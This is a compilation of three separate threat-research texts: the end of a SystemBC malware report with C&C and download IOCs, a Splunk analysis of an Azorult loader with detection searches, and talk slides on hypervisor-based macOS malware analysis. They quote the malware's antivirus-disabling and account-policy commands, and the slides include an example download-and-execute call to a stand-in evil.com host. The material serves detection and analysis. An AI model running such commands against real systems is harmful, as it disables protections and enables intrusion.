db2.pushsecs[.]info:40690 - DNS Server URL 1: 5.132.191[.]104 - DNS Server URL 2: ns1.vic.au.dns.opennic[.]glue - DNS Server URL 3: ns2.vic.au.dns.opennic[.]glue If the C&C server URL ends in “.bit,” the malware obtains the IP address of the server by using the DNS servers listed above. ## Conclusion Ever since SystemBC was distributed through exploit kits in the past, the malware has been installed through other malware strains from malicious websites disguised as download pages for cracks and serials of commercial software until recently. While it was used for attacks targeting normal users, it was also employed by attackers in multiple ransomware attacks targeting companies to achieve their goals. After it is installed, SystemBC stays in the infected system to download additional payloads. Moreover, it can also act as Proxy Bot, meaning that the system can become a passageway for other attackers. Users should apply the latest patch for OS and programs such as Internet browsers, and update V3 to the latest version to prevent malware infection in advance. AhnLab’s anti-malware software, V3, detects and blocks the malware above using the aliases below. ### File Detection - Trojan/Win.MalPE.R480644 (2022.03.29.02) - Trojan/Win.Generic.C5006057 (2022.03.11.03) - Malware/Win32.RL_Generic.R358611 (2020.12.18.01) - Trojan/Win32.Agent.C3511593 (2019.10.14.08) ### IOC **Type 1 MD5** - beb92b763b426ad60e8fdf87ec156d50 **Type 2 MD5** - 8e3a80163ebba090c69ecdeec8860c8b - 28c2680f129eac906328f1af39995787 **Type 3 MD5** - ae3f6af06a02781e995650761b3a82c6 **Type 1 C&C** - db1.pushsecs[.]info:40690 - db2.pushsecs[.]info:40690 **Type 2 C&C** - 31.44.185[.]6:4001 - 31.44.185[.]11:4001 - admex175x[.]xyz:4044 - servx278x[.]xyz:4044 - dfhg72lymw7s3d7b[.]onion:4044 **Type 3 C&C** - 96.30.196[.]207:4177 - 45.32.132[.]182:4177 **Download URLs** - hxxp://michaelstefensson[.]com/supd/s.exe - hxxp://5.61.33[.]200/henos.exe Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.
# AppLocker Rules as Defense Evasion: Complete Analysis Microsoft continues to develop, update, and improve features to monitor and prevent the execution of malicious code on the Windows operating system. One of these features is AppLocker. This feature advances the functionality of software restriction policies and enables administrators to create rules to allow or deny applications from running based on their unique identities (e.g., files) and to specify which users or groups can run those applications. AppLocker has the ability to control the execution of executables (".exe" and ".com"), scripts (".js", ".ps1", ".vbs", ".cmd", and ".bat"), Windows installer (".msi", ".mst", ".msp"), DLL modules, packaged apps, and app installers. This software restriction policy may be abused by adversaries, like the "Azorult loader," a payload that imports its own AppLocker policy to deny the execution of several antivirus components as part of its defense evasion. In this blog, the Splunk Threat Research Team will do a deep dive analysis on "Azorult loader" and its several components to understand tactics and techniques that may help SOC analysts and blue teamers defend against these types of threats. ## Azorult Loader Azorult loader is a classic "Trojan Horse" that contains several components including the Azorult malware itself and additional embedded files to enable remote access and data collection. This loader is an AutoIt compiled executable that contains a self-extracting stream in its resource sections along with several files. ### Defense Evasion Azorult implements a hardcoded sandbox evasion checklist: It looks for specific usernames, files on the desktop, hostnames, and processes running on the targeted host. If identified, it will exit. It will also terminate its execution if the OS version of the compromised host is "winxp". **Username | Computername | Files in Desktop | Processes** - Peter Wilson | RALPHS-PC | @DesktopDir +\secret.txt | Joeboxcontrol.exe - Acme | ABC-WIN7 | Joeboxserver.exe - BOBSPC | man-PC | @DesktopDir + \my.txt | Frida-winjector-helper-32.exe - Johnson | luser-PC | @DesktopDir +\report.odt - John | Klone-PC | analyzer.exe - John Doe | tpt-PC | @DesktopDir +\report.rtf - Rivest | BOBSPC | @DesktopDir + mw - WillCarter-PC | @DesktopDir + \Incidents.pptx - me | PETER-PC - sys | David-PC - Apiary | ART-PC - STRAZNJICA.GRUBUTT | TOM-PC - Phil - Customer - shimamu If the "msseces.exe" process is running, it will try to uninstall the "Microsoft Security Client" by using the `wmic.exe` command shown below. ``` C:\Windows\System32\wbem\wmic.exe product where name="Microsoft Security Client" call uninstall /nointeractive ``` It will also disable several registry keys related to the Windows Defender application feature and other AV products to evade their detections. It will also try to stop, delete, and even modify the configuration of some services as part of its execution and disable antivirus products. It will attempt to block SMB ports (445, 139) and update the firewall configuration to allow its dropped malicious files to perform network connections. Using the `attrib` and `icacls` Windows binaries, it will set the hidden attribute and a deny permission access on several AV product installation root folders. ### First Stage Drop Files The loader will drop files. The "temp.bat" is a cleanup batch file that will delete some of the dropped files and add a hidden attribute on the created directory `C:\Programdata\Windows`. The "clean.bat" is responsible for killing Malwarebytes "mbamservice.exe" process, stopping or deleting more services related to AV products and coin miners like "MinerGate". The "H.bat" is responsible for blocking AV, coin miner, and some GitHub websites by redirecting it to the local host IP address of the compromised host by adding an entry to the `%SystemRoot%\System32\drivers\etc\hosts`. The file "5.xml" is one of the most interesting parts of this malware. It contains AppLocker rules designed for defense evasion. This paper will explore the topic further specifically when we break down the components that try to import this rule. The "ink.exe" is the actual Azorult malware. One of the executables dropped is named `wini.exe`. This is a self-extracting archive (sfx). An archive that has been combined with an executable module, allowing Windows users to extract the archive's files without a decompression program. Threat actors take advantage of this file type because it protects their malware with a password, which helps it evade sandboxes or emulation without it. Digging into the loader AutoIt script, the code below is the actual command line and password that execute this sfx file. ``` Run("C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui") ``` `Wini.exe` will drop the RMS Radmin tool named `rfusclient.exe` and `rutserv.exe`. Then, to install this tool, it will also drop `install.vbs` that will execute another drop file `install.bat` that will disable Windows Defender application, set the registries of the "Remote Manipulator System" (RMS) tool (`reg1.reg` and `reg2.reg`), execute the RMS server `rutserver.exe`, and configure its services. It will also drop another executable named `winit.exe`. This is an AutoIt compiled binary responsible for gathering information on the compromised host like what AV was installed, OS version, video adapter, and much more. After collecting the data, it will try to send it via SMTP or via email to a specific email and body format. Both `cheat.exe` and `wini.exe` are sfx files that are password protected with the password "naxui". One of its drop files is the `P.exe` that will drop and execute `1.exe`, which is a copy of WebBrowserPassView.exe tool. WebBrowserPassView.exe is a Nirsoft tool for parsing credentials like passwords in browsers. The `taskhost.exe` will also create a scheduled task as a persistence mechanism for its drop file `taskhostw.exe` and `winlogon.exe`. `taskhost.exe` will also download files from a specific FTP server (109.248.203.81), save them as `c:\programdata\windowstask\temp.exe`, decrypt them, and execute it. Unfortunately, the FTP server is inaccessible as of writing. The `winlogon.exe` is another AutoIt compiled file that looks for scheduled tasks containing "KMSAutoNet", "KMS", and "KMSAuto". `Cheat.exe` also drops another executable called `winlog.exe`, which then subsequently drops `winlogon.exe` in `C:\ProgramData\Microsoft\Intel`. `C:\ProgramData\Microsoft\Intel\winlogon.exe` is a PowerShell script converted to an executable file that will execute a PowerShell command to import the AppLocker policy dropped by the actual loader named "5.xml". Below is the PowerShell command it uses to import this AppLocker policy. ``` Import-Module applocker; Set-AppLockerPolicy -XMLPolicy C:\ProgramData\microsoft\Temp\5.xml ``` The XML is well formatted and as soon as we import it to the AppLocker rule set, the antivirus products that try to have a deny action policy are seen clearly. As mentioned by Grzegorz Tworek, AppLocker cannot block nor log processes with NT AUTHORITY\SERVICE present in the token which most AV engines use for their prevention component. However, AV engines also include components that run with less privileges focused on alerting and notifying users about events identified by the engine. Azorult would only prevent these components from running using its dropped AppLocker policy. Finally, the last dropped file is `R8.exe`, another SFX file, which will decompress `db.rar` that contains `install.vbs`, that will execute `bat.bat` to create a hidden special user account named "John", enable RDP connections, execute `RDPWinst.exe` that enables Remote Desktop Host support and concurrent RDP sessions on reduced functionality systems, create local group user, set non-expiring password using `net accounts /maxpwage:unlimited`, set hidden attribute, and delete itself. ## Detections Below are the existing and new (STRT) detections developed to detect tactics and techniques of this malware. ### Windows Applications Layer Protocol RMS Radmin Tool Namedpipe This analytic identifies the use of default or publicly known named pipes used with RMX remote admin tool: ``` sysmon EventCode IN (17, 18) EventType IN ("CreatePipe", "ConnectPipe") PipeName IN ("\\RManFUSServerNotify32", "\\RManFUSCallbackNotify32", "\\RMSPrint*") | stats min(_time) as firstTime max(_time) as lastTime count by Image EventType ProcessId PipeName Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_application_layer_protocol_rms_radmin_tool_namedpipe_filter` ``` ### Windows Gather Victim Network Info Through IP Check Web Services This analytic identifies a process that tries to connect to known IP web services: ``` sysmon EventCode=22 QueryName IN ("*wtfismyip.com", "*checkip.amazonaws.com", "*ipecho.net", "*ipinfo.io", "*api.ipify.org", "*icanhazip.com", "*ip.anysrc.com", "*api.ip.sb", "ident.me", "www.myexternalip.com", "*zen.spamhaus.org", "*cbl.abuseat.org", "*b.barracudacentral.org", "*dnsbl-1.uceprotect.net", "*spam.dnsbl.sorbs.net", "*iplogger.org*", "*ip-api.com*") | stats min(_time) as firstTime max(_time) as lastTime count by Image ProcessId QueryName QueryStatus QueryResults Computer EventCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_gather_victim_network_info_through_ip_check_web_services_filter` ``` ### Windows Impair Defense Add XML AppLocker Rules This analytic identifies a process that imports AppLocker XML rules using PowerShell commandlet: ``` | tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=pwsh.exe OR Processes.process_name=sqlps.exe OR Processes.process_name=sqltoolsps.exe OR Processes.process_name=powershell.exe OR Processes.process_name=powershell_ise.exe OR Processes.original_file_name=pwsh.dll OR Processes.original_file_name=PowerShell.EXE OR Processes.original_file_name=powershell_ise.EXE) AND Processes.process="*Import-Module Applocker*" AND Processes.process="*Set-AppLockerPolicy *" AND Processes.process="* -XMLPolicy *" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_add_xml_applocker_rules_filter` ``` ### Windows Impair Defense Deny Security Software With AppLocker This analytic identifies a modification in the Windows registry by the AppLocker application that contains details or registry data values related to denying the execution of several security products: ``` | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where (Registry.registry_path= "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy Objects\\*" AND Registry.registry_path= "*}Machine\\Software\\Policies\\Microsoft\\Windows\\SrpV2*") OR Registry.registry_path="*\\Software\\Policies\\Microsoft\\Windows\\SrpV2*" AND Registry.registry_value_data = "*Action=\"Deny\"*" AND Registry.registry_value_data IN("*O=SYMANTEC*","*O=MCAFEE*","*O=KASPERSKY*","*O=BLEEPING COMPUTER*","*O=PANDA SECURITY*","*O=SYSTWEAK SOFTWARE*","*O=TREND MICRO*","*O=AVAST*","*O=GRIDINSOFT*","*O=MICROSOFT*","*O=NANO SECURITY*","*O=SUPERANTISPYWARE.COM*","*O=DOCTOR WEB*","*O=MALWAREBYTES*","*O=ESET*","*O=AVIRA*","*O=WEBROOT*") by Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.registry_key_name Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_deny_security_software_with_applocker_filter` ``` ### Windows Powershell Import AppLocker Policy This analytic identifies a process that imports AppLocker XML rules using PowerShell commandlet: ``` powershell EventCode=4104 ScriptBlockText="*Import-Module Applocker*" ScriptBlockText="*Set-AppLockerPolicy *" ScriptBlockText="* -XMLPolicy *" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_import_applocker_policy_filter` ``` ### Windows Remote Access Software RMS Registry This analytic identifies a modification or creation of Windows registry related to Remote Manipulator System (RMS) Remote Admin tool: ``` | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= "*\\SYSTEM\\Remote Manipulator System*" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_access_software_rms_registry_filter` ``` ### Windows Valid Account With Never Expires Password This analytic identifies processes that update user account policies for password requirements with non-expiring password: ``` | tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name="net.exe" OR Processes.original_file_name="net.exe" OR Processes.process_name="net1.exe" OR Processes.original_file_name="net1.exe") AND Processes.process="* accounts *" AND Processes.process="* /maxpwage:unlimited" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_valid_account_with_never_expires_password_filter` ``` ### Windows Modify Registry Disable Toast Notifications This analytic detects a modification in the Windows registry to disable toast notifications: ``` | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path="*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PushNotifications\\ToastEnabled*" Registry.registry_value_data="0x00000000" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disable_toast_notifications_filter` ``` ### Windows Modify Registry Disable Windows Security Center Notif This analytic detects a modification in the Windows registry to disable Windows center notifications: ``` | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path="*\\Windows\\CurrentVersion\\ImmersiveShell\\UseActionCenterExperience*" Registry.registry_value_data="0x00000000" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disable_windows_security_center_notif_filter` ``` ### Windows Modify Registry Suppress Win Defender Notif This analytic detects a modification in the Windows registry to suppress Windows Defender notification: ``` | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= "*\\Windows Defender\\UX Configuration\\Notification_Suppress*" Registry.registry_value_data="0x00000001" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_suppress_win_defender_notif_filter` ``` ### Windows Remote Services Allow RDP in Firewall This analytic detects a modification in the Windows firewall to enable remote desktop protocol on a targeted machine: ``` | tstats `security_content_summariesonly` values(Processes.process) as cmdline values(Processes.parent_process_name) as parent_process values(Processes.process_name) count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = "netsh.exe" OR Processes.original_file_name= "netsh.exe") AND Processes.process = "*firewall*" AND Processes.process = "*add*" AND Processes.process = "*protocol=TCP*" AND Processes.process = "*localport=3389*" AND Processes.process = "*action=allow*" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_services_allow_rdp_in_firewall_filter` ``` ### Windows Remote Services Allow Remote Assistance This analytic identifies a modification in the Windows registry to enable remote desktop assistance on a targeted machine: ``` | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= "*\\Control\\Terminal Server\\fAllowToGetHelp*" Registry.registry_value_data="0x00000001" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_services_allow_remote_assistance_filter` ``` ### Windows Remote Services RDP Enable This analytic detects a modification in the Windows registry to enable remote desktop protocol on a targeted machine: ``` | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= "*\\Control\\Terminal Server\\fDenyTSConnections*" Registry.registry_value_data="0x00000000" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_services_rdp_enable_filter` ``` ### Windows Service Stop by Deletion This analytic identifies Windows Service Control, `sc.exe`, attempting to delete a service: ``` | tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = sc.exe OR Processes.original_file_name = sc.exe) Processes.process="* delete *" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_stop_by_deletion_filter` ``` ### Windows Modify Registry Disable Win Defender Raw Write Notif This analytic detects a modification in the Windows registry to disable Windows Defender raw write notification feature: ``` | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= "*\\Windows Defender\\Real-Time Protection\\DisableRawWriteNotification*" Registry.registry_value_data="0x00000001" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disable_win_defender_raw_write_notif_filter` ``` ### Windows Modify Registry Disabling WER Settings This analytic identifies a modification in the Windows registry to disable Windows error reporting settings: ``` | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= "*\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\disable*" Registry.registry_value_data="0x00000001" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disabling_wer_settings_filter` ``` ### Windows Modify Registry DisAllow Windows App This analytic detects a modification in the Windows registry to prevent users from running specific computer programs that could aid them in manually removing malware or detecting it using security products: ``` | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path="*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun*" Registry.registry_value_data="0x00000001" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disallow_windows_app_filter` ``` ### Windows Modify Registry Regedit Silent Reg Import This analytic identifies possible modifications of Windows registry using `regedit.exe` application with silent mode parameter: ``` | tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name="regedit.exe" OR Processes.original_file_name="regedit.exe") AND Processes.process="* /s *" AND Processes.process="*.reg*" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_regedit_silent_reg_import_filter` ``` ### Windows Remote Service RDPWinst Tool Execution This analytic identifies the process of "RDPWInst.exe" tool which is a RDP wrapper library tool designed to enable remote desktop host support and concurrent RDP session on reduced functionality: ``` | tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name="RDPWInst.exe" OR Processes.original_file_name="RDPWInst.exe") AND Processes.process IN ("* -i*", "* -s*", "* -o*", "* -w*", "* -r*") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_service_rdpwinst_tool_execution_filter` ``` ## IOC - **filename:** 5.xml - **sha256:** 9a8efbd09c9cc1ee7e8ff76ea60846b5cd5a47cdaae8e92331f3b7b6a5db4be5 - **filename:** cheat.exe - **sha256:** b80857cd30e6ec64e470480aae3c90f513115163c74bb584fa27adf434075ab2 - **filename:** clean.bat - **sha256:** 1134b862f4d0ce10466742beb334c06c2386e85acad72725ddb1cecb1871b312 - **filename:** db.rar - **sha256:** 534e0430f7e8883b352e7cba4fa666d2f574170915caa8601352d5285eee5432 - **filename:** h.bat - **sha256:** a33af2b70ad8fea8900b6bd31ac7b0aab8a2b8b79e3e27adafbd34bdfcb67549 - **filename:** ink.exe - **sha256:** 136590cb329a56375d6336b12878e18035412abf44c60bebdaa6c37840840040 - **filename:** Install cheat 1_7.bin - **sha256:** dd396a3f66ad728660023cb116235f3cb1c35d679a155b08ec6a9ccaf966c360 - **filename:** P.exe - **sha256:** 8215e35c9ce15a7b7373871b27100577d3e609856eac71080ac13972a6a6748b - **filename:** R8.exe - **sha256:** 40d4931bbb3234a2e399e2e3e0dcfe4b7b05362c58d549569f2888d5b210ebbd - **filename:** taskhost.exe - **sha256:** 892e0afefca9c88d43bdd1beea0f09faadef618af0226e7cd1acdb47e871a0db - **filename:** temp.bat - **sha256:** ccf47d036ccfe0c8d0fe2854d14ca21d99be5fa11d0fbb16edcc1d6c10de3512 - **filename:** wini.exe - **sha256:** 9276d1bb2cd48fdf46161deaf7ad4b0dbcef9655d462584e104bd3f2a8c944ce - **filename:** winlog.exe - **sha256:** 54eda5cc37afb3b725fa2078941b3b93b6aec7b8c61cd83b9b2580263ce54724 - **filename:** cheat_exe\P\1.exe - **sha256:** 7f11dabe46bf0af8973ce849194a587bd0ba1452e165faf028983f85b2b624c2 - **filename:** cheat_exe\R8\db.rar - **sha256:** 534e0430f7e8883b352e7cba4fa666d2f574170915caa8601352d5285eee5432 - **filename:** cheat_exe\R8\pause.bat - **sha256:** 46565c0588b170ae02573fde80ba9c0a2bfe3c6501237404d9bd105a2af01cba - **filename:** cheat_exe\R8\Rar.exe - **sha256:** 2356220cfa9159b463d762e2833f647a04fa58b4c627fcb4fb1773d199656ab8 - **filename:** cheat_exe\R8\run.vbs - **sha256:** c7758bb2fdf207306a5b83c9916bfffcc5e85efe14c8f00d18e2b6639b9780fe - **filename:** cheat_exe\taskhost\opencl.dll - **sha256:** 7cc0d32b00f4596bf0a193f9929e6c628bc1b9354678327f59db0bd516a0dd6b - **filename:** cheat_exe\taskhost\taskhostw.exe - **sha256:** 00cb457c1bf203fdb75da2cb0ba517d177ea5decc071f27f6a5ba3ee7d30da93 - **filename:** cheat_exe\taskhost\taskhostw\winlogon.exe - **sha256:** 870ff02d42814457290c354229b78232458f282eb2ac999b90c7fcea98d16375 - **filename:** cheat_exe\winlog\winlogon.exe - **sha256:** dc6d63798444d1f614d4a1ff8784ad63b557f4d937d90a3ad9973c51367079de - **filename:** wini_exe\install.bat - **sha256:** e3db831cdb021d6221be26a36800844e9af13811bac9e4961ac21671dff9207a - **filename:** wini_exe\install.vbs - **sha256:** cd8df8b0c43c36aabb0a960e4444b000a04eb513f0b34e12dbfd098944e40931 - **filename:** wini_exe\reg1.reg - **sha256:** 7ae7e4c0155f559f3c31be25d9e129672a88b445af5847746fe0a9aab3e79544 - **filename:** wini_exe\reg2.reg - **sha256:** 4ae04a85412ec3daa0fb33f21ed4eb3c4864c3668b95712be9ec36ef7658422a - **filename:** wini_exe\rfusclient.exe - **sha256:** dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9 - **filename:** wini_exe\rutserv.exe - **sha256:** 1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6 - **filename:** wini_exe\vp8decoder.dll - **sha256:** 4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74 - **filename:** wini_exe\vp8encoder.dll - **sha256:** 81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172 - **filename:** wini_exe\winit.exe - **sha256:** e95fc3e7ed9ec61ba7214cc3fe5d869e2ee22abbeac3052501813bb2b6dde210 - **filename:** wini_exe\winit\del.bat - **sha256:** e376f2a9dda89354311b1064ea4559e720739d526ef7da0518ebfd413cd19fc1 ## Learn More You can find the latest content about security analytic stories on GitHub and in Splunkbase. Splunk Security Essentials also has all these detections available via push update. For a full list of security content, check out the release notes on Splunk Docs. Any feedback or requests? Feel free to put in an issue on GitHub and we’ll follow up. Alternatively, join us on the Slack channel #security-research. Follow these instructions if you need an invitation to our Splunk user groups on Slack. **Credit to author:** Teoderick Contreras and collaborators Rod Soto, Jose Hernandez, Patrick Bareiss, Lou Stella, Bhavin Patel, Michael Haag, Mauricio Velazco, and Eric McGinnis. The Splunk Threat Research Team is an active part of a customer’s overall defense strategy by enhancing Splunk security offerings with verified research and security content such as use cases, detection searches, and playbooks. We help security teams around the globe strengthen operations by providing tactical guidance and insights to detect, investigate, and respond against the latest threats. The Splunk Threat Research Team focuses on understanding how threats, actors, and vulnerabilities work, and the team replicates attacks which are stored as datasets in the Attack Data repository. Our goal is to provide security teams with research they can leverage in their day-to-day operations and to become the industry standard for SIEM detections. We are a team of industry-recognized experts who are encouraged to improve the security industry by sharing our work with the community via conference talks, open-sourcing projects, and writing white papers or blogs. You will also find us presenting our research at conferences such as Defcon, Blackhat, RSA, and many more.
# Hypervisor-based Analysis of macOS Malware **Felix Seele** June 2nd, 2019 Technical Lead @ VMRay M. Sc. IT-Security Released first preview version of macOS sandbox in March @c1truz_ ## Structure of this Talk - **Why?** Motivation - **How?** Background - **Challenges** Virtual Machine Introspection ## The Marketing Pitch Need better tools for efficient and sound, automated analysis of macOS malware! ## State of the Art - Many tools to monitor different aspects of the system: - ProcInfo, BlockBlock - dtrace (fs_usage, dtruss, …) - Firewalls - Debugger - Goals: - Full visibility of function calls at every level (soundness) - Isolation & Transparency - Efficiency & Automation - No function call tracer (like ltrace) - Tools run inside an analysis VM - No automation ## Full Visibility of Function Calls ``` [NSData dataWithContentsOfURL:] Evil.app CFURLRequestCreate(...) Foundation.framework high-level application frameworks socket(...) CFNetwork.framework connect(...) syscall 97 syscall 98 libsystem_kernel.dylib low-level system libraries kernel kernelspace ``` ## Isolation & Performance - Analysis system must be higher privileged than the analyzed sample - Full system visibility requires hypervisor-level analysis - Emulators are extremely slow, unsuited for full system analysis - Hardware-assisted virtualization provides isolation with small performance overhead **How to instrument the hypervisor for malware analysis?** ## Two-Dimensional Paging **Address translation 101 (x86_64)** Virtual Address | Physical Address --- | --- 0x00000 00 10 ad 5f 000 | PML4T PDPT PDT PT Memory CR3 | r-x ## Two-Dimensional Paging **Address translation 101 (x86_64)** Virtual Address | Physical Address --- | --- Execution will cause page fault and trap to kernel! | EXC_BAD_ACCESS (code=2, address=0x7ffeefbff408) | 0x00000 00 10 ad 5f 000 | PML4T PDPT PDT PT Memory CR3 | rw- ## Two-Dimensional Paging **Second-level page tables** Virtual Machine | Hypervisor --- | --- r-x | r-x Guest Virtual Memory | Guest Physical Memory | Host Physical Memory ## Using TDP to Monitor API Calls - Divide memory regions into two sets: - Set A: Target executable Evil.app - Set B: System libraries and kernel ## Summary - Approach was presented first by Carsten Willems and Ralf Hund - Transparency & Isolation: Page permission are only modified outside of the guest - No modifications to the OS necessary - Not detectable, even from the kernel - Efficiency: Calls are intercepted at the highest level possible - Preserves high-level semantics - Simplifies behavior analysis ## Virtual Machine Introspection ### The basics - Objective-C Function Call Monitoring - Extract parameters - Parse virtual address space - Resolve loaded libraries - Process creation & termination - Process & thread switches - Process information ## Objective-C Runtime Introspection **Extracting function call parameters** ``` [0040.706] -[NSString writeToFile:(NSString *) atomically:(BOOL)] Instance Method Arguments in rdx, rcx, r8, … Pointer to object in rdi ``` - Need to know the class to extract value - Can’t trust the function prototype (class clusters, protocols) ## Finding an Object’s Class ``` 0x100503930 struct objc_object { union isa_t { struct objc_class *cls; uintptr_t bits; } } ``` ## Finding an Object’s Class (the efficient way) - Need to know the location of DATA segments in memory - Not trivial due to the use of dyld shared caches - Only one pointer deref required + compare to precomputed offsets - Reconstruct the object's internal data representation ## Example **Code** ```objc NSLog(@"Hello, World!"); NSProcessInfo *processInfo = [NSProcessInfo processInfo]; NSLog(@"Process ID is: %d", [processInfo processIdentifier]); NSString *username = [processInfo userName]; NSFileManager *filemgr = [NSFileManager defaultManager]; NSString *filename = [[filemgr currentDirectoryPath] stringByAppendingPathComponent:@"user.txt"]; [username writeToFile:filename atomically:YES encoding:NSStringEncodingConversionAllowLossy error:nil]; NSLog(@"Content written to path: %@", filename); ``` ## Inter-Process Communication - XPC is used heavily on macOS - XPC-based RPC - Launch processes out of context - Remote Procedure Calls - Used by > 90% of samples - Can be used to evade dynamic malware analysis systems ## Persistence 1. Drop embedded binary or copy self to some “hidden” location 2. Place plist in ~/Library/LaunchAgents 3. Start LaunchAgent using “launchctl load -w” ## Spawning Processes - Can instruct launchd to launch arbitrary processes - As child of pid 1! ## Remote Procedure Calls using NSXPCConnection ```objc NSXPCConnection *conn = [[NSXPCConnection alloc] initWithServiceName:@"com.evil.xpc-downloader"]; conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(xpc_downloaderProtocol)]; [conn resume]; [[conn remoteObjectProxy] downloadAndExecute:@"http://evil.com/malware" withReply:^(NSString *reply) { NSLog(@"Reply: %@", reply); }]; ``` ## Case Study: OSX.ColdRoot - Remote Access Trojan, discovered by Patrick Wardle - Written in Pascal - Capabilities: - File operations (list, rename, delete) - Process operations (list, kill) - Download to and from victim - Keylogging - Remote Desktop (screenshots) ## Conclusions - 